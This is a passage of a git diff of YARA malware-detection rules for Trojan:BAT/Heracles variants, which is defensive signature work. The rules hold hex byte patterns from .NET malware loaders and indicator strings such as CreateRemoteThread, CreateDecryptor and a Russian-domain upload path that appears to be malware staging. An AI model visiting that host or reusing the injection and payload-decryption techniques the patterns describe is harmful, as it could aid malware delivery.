00 00 01 0a 03 8e 69 0b 16 0c 2b 11 06 08 02 08 91 03 08 07 5d 91 61 d2 9c 08 17 58 0c 08 02 8e 69 32 e9 06 2a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EAED_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EAED_MTB.yar new file mode 100644 index 0000000000..5abb9b96d7 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EAED_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_EAED_MTB{ + meta: + description = "Trojan:BAT/Heracles.EAED!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {03 06 02 28 45 00 00 06 06 02 28 45 00 00 06 8e 69 5d 91 03 06 91 61 d2 9c 06 17 58 0a 06 03 8e 69 32 dd } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EHHK_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EHHK_MTB.yar new file mode 100644 index 0000000000..ad3fd2ed1b --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EHHK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Heracles_EHHK_MTB{ + meta: + description = "Trojan:BAT/Heracles.EHHK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {2b 40 07 09 0f 02 ?? ?? ?? ?? ?? 05 0e 04 09 6b 06 5a 58 6c ?? ?? ?? ?? ?? 6b 5a 58 0f 02 ?? ?? ?? ?? ?? 05 0e 04 09 6b 06 5a 58 6c ?? ?? ?? ?? ?? 6b 5a 58 73 2b 00 00 0a a4 15 00 00 01 09 17 58 0d 09 19 32 bc } //2 + $a_03_1 = {1f 19 18 11 04 5a 59 13 05 11 05 20 ff 00 00 00 16 16 ?? ?? ?? ?? ?? 73 32 00 00 0a 13 06 05 11 04 18 5a 6b 58 13 07 03 11 06 0f 02 } //2 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EOXE_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EOXE_MTB.yar new file mode 100644 index 0000000000..001f8ce6c5 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_EOXE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_EOXE_MTB{ + meta: + description = "Trojan:BAT/Heracles.EOXE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {06 08 02 08 91 03 08 07 5d ?? ?? ?? ?? ?? 61 d2 9c 08 17 58 0c 08 02 8e 69 32 e5 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GPAL_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GPAL_MTB.yar new file mode 100644 index 0000000000..000de298e7 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GPAL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Heracles_GPAL_MTB{ + meta: + description = "Trojan:BAT/Heracles.GPAL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_81_0 = {61 70 73 74 6f 72 69 2e 72 75 2f 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 73 2f } //4 apstori.ru/panel/uploads/ + $a_81_1 = {43 6f 6d 70 72 65 73 73 65 64 42 79 74 65 73 } //1 CompressedBytes + condition: + ((#a_81_0 & 1)*4+(#a_81_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GVA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GVA_MTB.yar new file mode 100644 index 0000000000..1536bf2bf9 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GVA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Heracles_GVA_MTB{ + meta: + description = "Trojan:BAT/Heracles.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_02_0 = {02 18 5d 2c 04 02 ?? ?? 2a 02 18 58 2a } //2 + $a_01_1 = {02 18 5d 2c 04 02 18 5a 2a 02 18 5b 2a } //2 + $a_01_2 = {02 03 5a 03 2c 03 03 2b 01 17 5b 2a } //2 ͚̬̂⬃ᜁ⩛ + $a_02_3 = {03 17 31 0d 03 6a 02 03 17 59 28 ?? ?? ?? ?? 5a 2a 17 6a 2a } //2 + condition: + ((#a_02_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_02_3 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GVB_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GVB_MTB.yar new file mode 100644 index 0000000000..1f828cba98 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_GVB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_GVB_MTB{ + meta: + description = "Trojan:BAT/Heracles.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {06 28 5a 00 00 0a 02 7b 11 01 00 04 6f 84 04 00 06 2d 22 02 7b 11 01 00 04 28 da 03 00 06 80 f5 00 00 04 02 28 08 03 00 06 02 7b 11 01 00 04 17 6f 85 04 00 06 de 07 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MBX_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MBX_MTB.yar index ccbf7c681d..d819699092 100644 --- a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MBX_MTB.yar +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MBX_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_BAT_Heracles_MBX_MTB{ + meta: + description = "Trojan:BAT/Heracles.MBX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + $a_01_1 = {53 00 65 00 6e 00 69 00 6f 00 72 00 00 11 20 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 00 0f 4c 00 20 00 6f 00 20 00 61 00 20 00 64 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} +rule Trojan_BAT_Heracles_MBX_MTB_2{ meta: description = "Trojan:BAT/Heracles.MBX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 00 " diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MBZ_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MBZ_MTB.yar new file mode 100644 index 0000000000..db883eaa60 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MBZ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Heracles_MBZ_MTB{ + meta: + description = "Trojan:BAT/Heracles.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {2c 05 16 13 04 de 32 07 08 03 03 8e 69 12 03 } //2 + $a_01_1 = {43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 } //1 CreateRemoteThread + $a_01_2 = {43 6f 72 72 75 70 74 65 64 20 70 61 79 6c 6f 61 64 } //1 Corrupted payload + $a_01_3 = {57 61 66 66 6c 65 44 65 63 6f 64 65 } //1 WaffleDecode + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MCB_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MCB_MTB.yar new file mode 100644 index 0000000000..d734343521 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_MCB_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_BAT_Heracles_MCB_MTB{ + meta: + description = "Trojan:BAT/Heracles.MCB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 08 00 00 " + + strings : + $a_81_0 = {5f 50 45 43 48 48 4e 4e 51 } //3 _PECHHNNQ + $a_81_1 = {46 44 59 4f 4d 4d 41 47 } //3 FDYOMMAG + $a_81_2 = {53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 2e 54 68 72 65 61 64 } //3 System.Threading.Thread + $a_81_3 = {41 39 33 31 39 37 39 38 } //3 A9319798 + $a_01_4 = {53 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 } //2 + $a_01_5 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 } //2 + $a_01_6 = {49 00 6e 00 76 00 6f 00 6b 00 65 } //2 + $a_01_7 = {53 00 70 00 6c 00 69 00 74 } //2 + condition: + ((#a_81_0 & 1)*3+(#a_81_1 & 1)*3+(#a_81_2 & 1)*3+(#a_81_3 & 1)*3+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2+(#a_01_7 & 1)*2) >=20 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_NH_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_NH_MTB.yar index c5d8e19c91..54fba9f936 100644 --- a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_NH_MTB.yar +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_NH_MTB.yar @@ -68,6 +68,17 @@ rule Trojan_BAT_Heracles_NH_MTB_6{ } rule Trojan_BAT_Heracles_NH_MTB_7{ + meta: + description = "Trojan:BAT/Heracles.NH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {28 14 00 00 0a 13 09 11 09 6f 0b 00 00 0a 25 2d 0c 26 72 01 00 00 70 73 15 00 00 0a 7a 13 0a 11 0a 6f 16 00 00 0a 8e 69 8d 01 00 00 01 13 0b 11 0b 8e 16 fe 03 13 11 11 11 2c 05 11 0b 16 02 a2 11 0a 14 11 0b 6f 17 00 00 0a } //3 + $a_01_1 = {45 00 6e 00 74 00 72 00 79 00 50 00 6f 00 69 00 6e 00 74 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 21 00 21 00 21 00 21 00 21 00 21 00 } //1 EntryPoint not found!!!!!! + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} +rule Trojan_BAT_Heracles_NH_MTB_8{ meta: description = "Trojan:BAT/Heracles.NH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " @@ -78,7 +89,7 @@ rule Trojan_BAT_Heracles_NH_MTB_7{ ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1) >=6 } -rule Trojan_BAT_Heracles_NH_MTB_8{ +rule Trojan_BAT_Heracles_NH_MTB_9{ meta: description = "Trojan:BAT/Heracles.NH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 00 " diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_PRE_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_PRE_MTB.yar new file mode 100644 index 0000000000..dd2fe71c06 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_PRE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_PRE_MTB{ + meta: + description = "Trojan:BAT/Heracles.PRE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {13 04 11 04 28 a1 00 00 0a 20 e6 3a 5d b5 28 4d 00 00 0a 6f ?? 00 00 0a 6f ?? 02 00 0a 11 04 1f 10 8d 07 00 00 01 6f ?? 02 00 0a 11 04 17 6f ?? 02 00 0a 73 5d 02 00 0a 13 05 11 05 11 04 6f ?? 02 00 0a 17 73 89 02 00 0a 13 06 11 06 09 16 09 8e 69 6f c6 00 00 0a 11 06 6f 8a 02 00 0a 11 05 6f 2f 01 00 0a 0d 11 05 6f 8b 02 00 0a 11 06 6f 8b 02 00 0a 73 5d 02 00 0a 13 07 09 73 02 01 00 0a 16 73 8c 02 00 0a 13 0b 20 00 04 00 00 13 0c 11 0c 8d 07 00 00 01 13 0e 11 0b 11 0e 16 11 0c 6f ?? 01 00 0a 13 0d 2b 1a 11 07 11 0e 16 11 0d 6f ?? 00 00 0a 11 0b 11 0e 16 11 0c 6f ?? 01 00 0a 13 0d 11 0d 16 30 e1 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SGDA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SGDA_MTB.yar new file mode 100644 index 0000000000..f1744b91cd --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SGDA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SGDA_MTB{ + meta: + description = "Trojan:BAT/Heracles.SGDA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_03_0 = {0a 06 06 6f 14 00 00 0a 06 6f 15 00 00 0a 6f 16 00 00 0a 0b 73 17 00 00 0a 0c 20 ?? ?? ?? 00 8d 15 00 00 01 25 d0 04 00 00 04 28 18 00 00 0a 73 19 00 00 0a 0d 09 07 16 73 1a 00 00 0a 13 04 1f 10 8d 15 00 00 01 13 05 38 0b 00 00 00 08 11 05 16 11 06 6f 1b 00 00 0a 11 04 11 05 16 11 05 8e 69 6f 1c 00 00 0a 25 13 06 16 3d de ff ff ff } //3 + condition: + ((#a_03_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SHO_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SHO_MTB.yar new file mode 100644 index 0000000000..a34e8dcf67 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SHO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SHO_MTB{ + meta: + description = "Trojan:BAT/Heracles.SHO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {28 15 00 00 0a 72 8e 01 00 70 28 16 00 00 0a 6f 17 00 00 0a 28 18 00 00 0a 0b 00 28 15 00 00 0a 72 a8 01 00 70 28 16 00 00 0a 6f 17 00 00 0a 0c 73 23 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLCD_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLCD_MTB.yar new file mode 100644 index 0000000000..14dc6f58b2 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLCD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SLCD_MTB{ + meta: + description = "Trojan:BAT/Heracles.SLCD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 07 6f 29 00 00 0a 25 26 0c 1f 61 6a 08 28 41 00 00 06 25 26 0d 09 28 2a 00 00 0a 25 26 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLH_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLH_MTB.yar new file mode 100644 index 0000000000..e16274a458 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SLH_MTB{ + meta: + description = "Trojan:BAT/Heracles.SLH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {26 07 08 6f 29 00 00 06 16 6a 0d 16 13 06 2b 1d 06 6f 2f 00 00 0a 13 07 09 11 07 d2 6e 1e 11 06 5a 1f 3f } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLL_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLL_MTB.yar new file mode 100644 index 0000000000..794ffd28e8 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SLL_MTB{ + meta: + description = "Trojan:BAT/Heracles.SLL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 00 28 07 00 00 0a 25 14 28 08 00 00 0a 39 06 00 00 00 73 06 00 00 0a 7a 72 01 00 00 70 6f 09 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLYO_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLYO_MTB.yar new file mode 100644 index 0000000000..e3dc80c5a7 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLYO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SLYO_MTB{ + meta: + description = "Trojan:BAT/Heracles.SLYO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {03 16 9a 28 1b 00 00 06 0a 02 7b ?? 00 00 04 26 02 06 28 14 00 00 06 02 7b ?? 00 00 04 26 02 02 7b ?? 00 00 04 2d 03 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLYP_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLYP_MTB.yar new file mode 100644 index 0000000000..40efd8ed2e --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SLYP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SLYP_MTB{ + meta: + description = "Trojan:BAT/Heracles.SLYP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {03 16 9a 28 1b 00 00 06 0a 02 7b ?? 00 00 04 26 02 06 28 15 00 00 06 02 02 7b ?? 00 00 04 2d 03 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SWA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SWA_MTB.yar new file mode 100644 index 0000000000..000f6aed78 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SWA_MTB{ + meta: + description = "Trojan:BAT/Heracles.SWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 07 a3 25 00 00 01 0c 08 6f 41 01 00 0a 72 48 1a 00 70 28 b5 00 00 0a 2c 14 08 72 94 1a 00 70 20 00 01 00 00 14 14 14 6f 42 01 00 0a 26 07 17 58 0b 07 06 8e 69 32 c8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SWT_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SWT_MTB.yar new file mode 100644 index 0000000000..d557244ab0 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_SWT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_SWT_MTB{ + meta: + description = "Trojan:BAT/Heracles.SWT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {72 09 00 00 70 28 02 00 00 06 de 03 26 de 00 20 b8 0b 00 00 28 05 00 00 0a 1f ?? 28 06 00 00 0a 72 ?? 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 23 28 06 00 00 0a 72 ?? 00 00 70 28 07 00 00 0a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZAQ_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZAQ_MTB.yar new file mode 100644 index 0000000000..0598e45d1a --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZAQ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Heracles_ZAQ_MTB{ + meta: + description = "Trojan:BAT/Heracles.ZAQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {0c 08 06 28 ?? 00 00 0a 07 28 ?? 00 00 0a 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 02 28 ?? 00 00 06 75 ?? 00 00 1b 13 06 11 05 11 06 16 11 06 8e 69 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 07 de 22 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZCS_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZCS_MTB.yar new file mode 100644 index 0000000000..502068095a --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZCS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Heracles_ZCS_MTB{ + meta: + description = "Trojan:BAT/Heracles.ZCS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {11 07 2a 72 01 00 00 70 28 ?? 00 00 0a 13 00 38 19 01 00 00 28 ?? 00 00 0a 13 02 38 00 00 00 00 00 11 02 20 00 01 00 00 6f ?? 00 00 0a 38 0e 00 00 00 11 02 6f ?? 00 00 0a 13 03 38 1c 00 00 00 11 02 11 00 6f ?? 00 00 0a 38 00 00 00 00 11 02 11 01 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZDQ_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZDQ_MTB.yar new file mode 100644 index 0000000000..b35dc1112b --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZDQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Heracles_ZDQ_MTB{ + meta: + description = "Trojan:BAT/Heracles.ZDQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {11 02 16 28 ?? 00 00 0a 13 03 38 ?? 00 00 00 11 03 16 3c ?? ff ff ff 38 ?? ff ff ff 11 00 11 02 16 1a 6f ?? 00 00 0a 1a 3b ?? ff ff ff 38 ?? ff ff ff 00 20 00 10 00 00 8d ?? 00 00 01 13 05 } //6 + $a_03_1 = {11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 3d ?? 00 00 00 38 ?? 00 00 00 38 ?? ff ff ff 38 ?? 00 00 00 11 01 11 05 16 11 06 6f ?? 00 00 0a 38 } //4 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*4) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZGQ_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZGQ_MTB.yar new file mode 100644 index 0000000000..59cb3a5926 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZGQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Heracles_ZGQ_MTB{ + meta: + description = "Trojan:BAT/Heracles.ZGQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {11 02 16 28 ?? 00 00 0a 13 03 38 ?? 00 00 00 11 03 16 3c ?? 00 00 00 38 ?? 00 00 00 11 00 11 02 16 1a 6f ?? 00 00 0a 1a 3b d3 } //6 + $a_03_1 = {11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 3d ?? 00 00 00 38 ?? 00 00 00 11 01 11 05 16 11 06 6f ?? 00 00 0a 38 d3 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZHB_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZHB_MTB.yar deleted file mode 100644 index da15bd7188..0000000000 --- a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZHB_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_BAT_Heracles_ZHB_MTB{ - meta: - description = "Trojan:BAT/Heracles.ZHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " - - strings : - $a_03_0 = {0c 07 16 8f ?? 00 00 01 13 0a 11 0a e0 13 09 00 16 13 0b 2b 24 00 11 09 11 0b 58 06 11 0b 58 47 08 11 0b 08 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 52 00 11 0b 17 58 13 0b 11 0b 07 8e 69 fe 04 13 0c 11 0c 2d cf } //10 - condition: - ((#a_03_0 & 1)*10) >=10 - -} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZJT_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZJT_MTB.yar new file mode 100644 index 0000000000..1659a4e8dd --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZJT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_ZJT_MTB{ + meta: + description = "Trojan:BAT/Heracles.ZJT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {02 07 8f 27 00 00 01 25 47 03 07 03 8e 69 5d 91 61 d2 52 16 0c 2b 1a 00 02 07 02 07 91 03 08 91 06 1f 1f 5f 62 08 61 07 58 61 d2 9c 00 08 17 58 0c 08 03 8e 69 fe 04 0d 09 2d dc } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZKQ_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZKQ_MTB.yar new file mode 100644 index 0000000000..0a8643592c --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZKQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Heracles_ZKQ_MTB{ + meta: + description = "Trojan:BAT/Heracles.ZKQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {7a 11 0a 16 28 ?? 00 00 0a 13 03 20 00 00 00 00 7e ?? 00 00 04 7b ?? 00 00 04 3a ?? ff ff ff 26 20 02 00 00 00 38 ?? ff ff ff 00 20 00 10 00 00 8d ?? 00 00 01 13 05 } //6 + $a_03_1 = {11 01 11 05 16 11 06 6f ?? 00 00 0a 38 ?? 00 00 00 11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 3d d8 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZLW_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZLW_MTB.yar new file mode 100644 index 0000000000..65f7a5e1b5 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZLW_MTB.yar @@ -0,0 +1,13 @@ + +rule 